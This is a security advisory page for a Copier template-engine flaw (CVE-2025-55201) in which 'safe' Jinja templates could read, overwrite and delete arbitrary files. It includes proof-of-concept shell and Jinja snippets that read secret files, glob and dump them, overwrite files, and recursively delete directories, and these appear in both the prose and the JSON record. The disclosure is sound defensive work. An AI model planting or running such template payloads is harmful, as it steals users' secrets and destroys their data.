PYSEC-2026-1271
Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:23Impact
Copier's current security model shall restrict filesystem access through Jinja:
- Files can only be read using
{% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case. - Files are written in the destination directory according to their counterparts in the template.
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.
Arbitrary read access
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
-
Read known file:
shell echo "s3cr3t" > secret.txt mkdir src/ echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja uvx copier copy src/ dst/ cat dst/stolen-secret.txt -
Read unknown file(s) via globbing:
shell mkdir secrets/ echo "s3cr3t #1" > secrets/secret1.txt echo "s3cr3t #2" > secrets/secret2.txt mkdir src/ cat <<'EOF' > src/stolen-secrets.txt.jinja stolen secrets: {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %} {% for f in parent.glob('*.txt') %} {{ f }}: {{ f.read_text('utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat dst/stolen-secrets.txt
Arbitrary write access
Imagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.
Reproducible examples:
-
Overwrite known file:
shell echo "s3cr3t" > secret.txt mkdir src/ echo "{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}" > src/malicious.txt.jinja uvx copier copy src/ dst/ cat secret.txt -
Overwrite unknown file(s) via globbing:
shell echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.write_text('OVERWRITTEN', 'utf-8') }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt -
Delete unknown file(s) via globbing:
shell echo "s3cr3t" > secret.txt mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..').resolve() %} {% for f in (parent.glob('*.txt') | list) %} {{ f.unlink() }} {% endfor %} EOF uvx copier copy src/ dst/ cat secret.txt -
Delete unknown files and directories via tree walking:
shell mkdir data mkdir data/a mkdir data/a/b echo "foo" > data/foo.txt echo "bar" > data/a/bar.txt echo "baz" > data/a/b/baz.txt tree data/ mkdir src/ cat <<'EOF' > src/malicious.txt.jinja {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %} {% for root, dirs, files in parent.walk(top_down=False) %} {% for name in files %} {{ (root / name).unlink() }} {% endfor %} {% for name in dirs %} {{ (root / name).rmdir() }} {% endfor %} {% endfor %} EOF uvx copier copy src/ dst/ tree data/
| Name | purl | copier | pkg:pypi/copier |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "copier",
"purl": "pkg:pypi/copier"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.9.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.0.0",
"2.0.1",
"2.1.0",
"2.2.1",
"2.2.2",
"2.2.3",
"2.3",
"2.3.1",
"2.3.2",
"2.3.3",
"2.4.0",
"2.4.1",
"2.4.2",
"2.5.0",
"2.5.1",
"3.0.0a3",
"3.0.0a5",
"3.0.0a6",
"3.0.0a7",
"3.0.0a8",
"3.0.0b1",
"3.0.1",
"3.0.2",
"3.0.3",
"3.0.4",
"3.0.5",
"3.0.6",
"3.1.0",
"3.2.0",
"4.0.0",
"4.0.1",
"4.0.2",
"4.1.0",
"5.0.0",
"5.1.0",
"6.0.0",
"6.0.0a0",
"6.0.0a2",
"6.0.0a3",
"6.0.0a4",
"6.0.0a5",
"6.0.0a6",
"6.0.0a7",
"6.0.0a9",
"6.0.0b0",
"6.1.0",
"6.2.0",
"7.0.1",
"7.1.0",
"7.1.0a0",
"7.2.0",
"8.0.0",
"8.1.0",
"8.2.0",
"8.3.0",
"9.0.1",
"9.1.0",
"9.1.1",
"9.2.0",
"9.3.0",
"9.3.1",
"9.4.0",
"9.4.1",
"9.5.0",
"9.6.0",
"9.7.0",
"9.7.1",
"9.8.0",
"9.9.0"
]
}
],
"aliases": [
"CVE-2025-55201",
"GHSA-3xw7-v6cj-5q8h"
],
"details": "### Impact\n\nCopier\u0027s current security model shall restrict filesystem access through Jinja:\n\n- Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case.\n- Files are written in the destination directory according to their counterparts in the template.\n\nCopier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.\n\n#### Arbitrary read access\n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps \"masks\" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Read known file:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n echo \"stolen secret: {{ (_copier_conf.dst_path / \u0027..\u0027 / \u0027secret.txt\u0027).resolve().read_text(\u0027utf-8\u0027) }}\" \u003e src/stolen-secret.txt.jinja\n uvx copier copy src/ dst/\n cat dst/stolen-secret.txt\n ```\n\n- Read unknown file(s) via globbing:\n\n ```shell\n mkdir secrets/\n echo \"s3cr3t #1\" \u003e secrets/secret1.txt\n echo \"s3cr3t #2\" \u003e secrets/secret2.txt\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/stolen-secrets.txt.jinja\n stolen secrets:\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027 / \u0027secrets\u0027).resolve() %}\n {% for f in parent.glob(\u0027*.txt\u0027) %}\n {{ f }}: {{ f.read_text(\u0027utf-8\u0027) }}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n cat dst/stolen-secrets.txt\n ```\n\n#### Arbitrary write access\n\nImagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.\n\nReproducible examples:\n\n- Overwrite known file:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n echo \"{{ (_copier_conf.dst_path / \u0027..\u0027 / \u0027secret.txt\u0027).resolve().write_text(\u0027OVERWRITTEN\u0027, \u0027utf-8\u0027) }}\" \u003e src/malicious.txt.jinja\n uvx copier copy src/ dst/\n cat secret.txt\n ```\n\n- Overwrite unknown file(s) via globbing:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027).resolve() %}\n {% for f in (parent.glob(\u0027*.txt\u0027) | list) %}\n {{ f.write_text(\u0027OVERWRITTEN\u0027, \u0027utf-8\u0027) }}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n cat secret.txt\n ```\n\n- Delete unknown file(s) via globbing:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027).resolve() %}\n {% for f in (parent.glob(\u0027*.txt\u0027) | list) %}\n {{ f.unlink() }}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n cat secret.txt\n ```\n\n- Delete unknown files and directories via tree walking:\n\n ```shell\n mkdir data\n mkdir data/a\n mkdir data/a/b\n echo \"foo\" \u003e data/foo.txt\n echo \"bar\" \u003e data/a/bar.txt\n echo \"baz\" \u003e data/a/b/baz.txt\n tree data/\n mkdir src/\n cat \u003c\u003c\u0027EOF\u0027 \u003e src/malicious.txt.jinja\n {% set parent = (_copier_conf.dst_path / \u0027..\u0027 / \u0027data\u0027).resolve() %}\n {% for root, dirs, files in parent.walk(top_down=False) %}\n {% for name in files %}\n {{ (root / name).unlink() }}\n {% endfor %}\n {% for name in dirs %}\n {{ (root / name).rmdir() }}\n {% endfor %}\n {% endfor %}\n EOF\n uvx copier copy src/ dst/\n tree data/\n ```",
"id": "PYSEC-2026-1271",
"modified": "2026-07-07T17:23:57.371366Z",
"published": "2026-07-07T16:03:01.417882Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/security/advisories/GHSA-3xw7-v6cj-5q8h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55201"
},
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/commit/3feea3b3ff3c20d80cbb16a2f3b9567ffc5606d1"
},
{
"type": "PACKAGE",
"url": "https://github.com/copier-org/copier"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/copier"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-3xw7-v6cj-5q8h"
}
],
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Copier\u0027s safe template has arbitrary filesystem read/write access"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.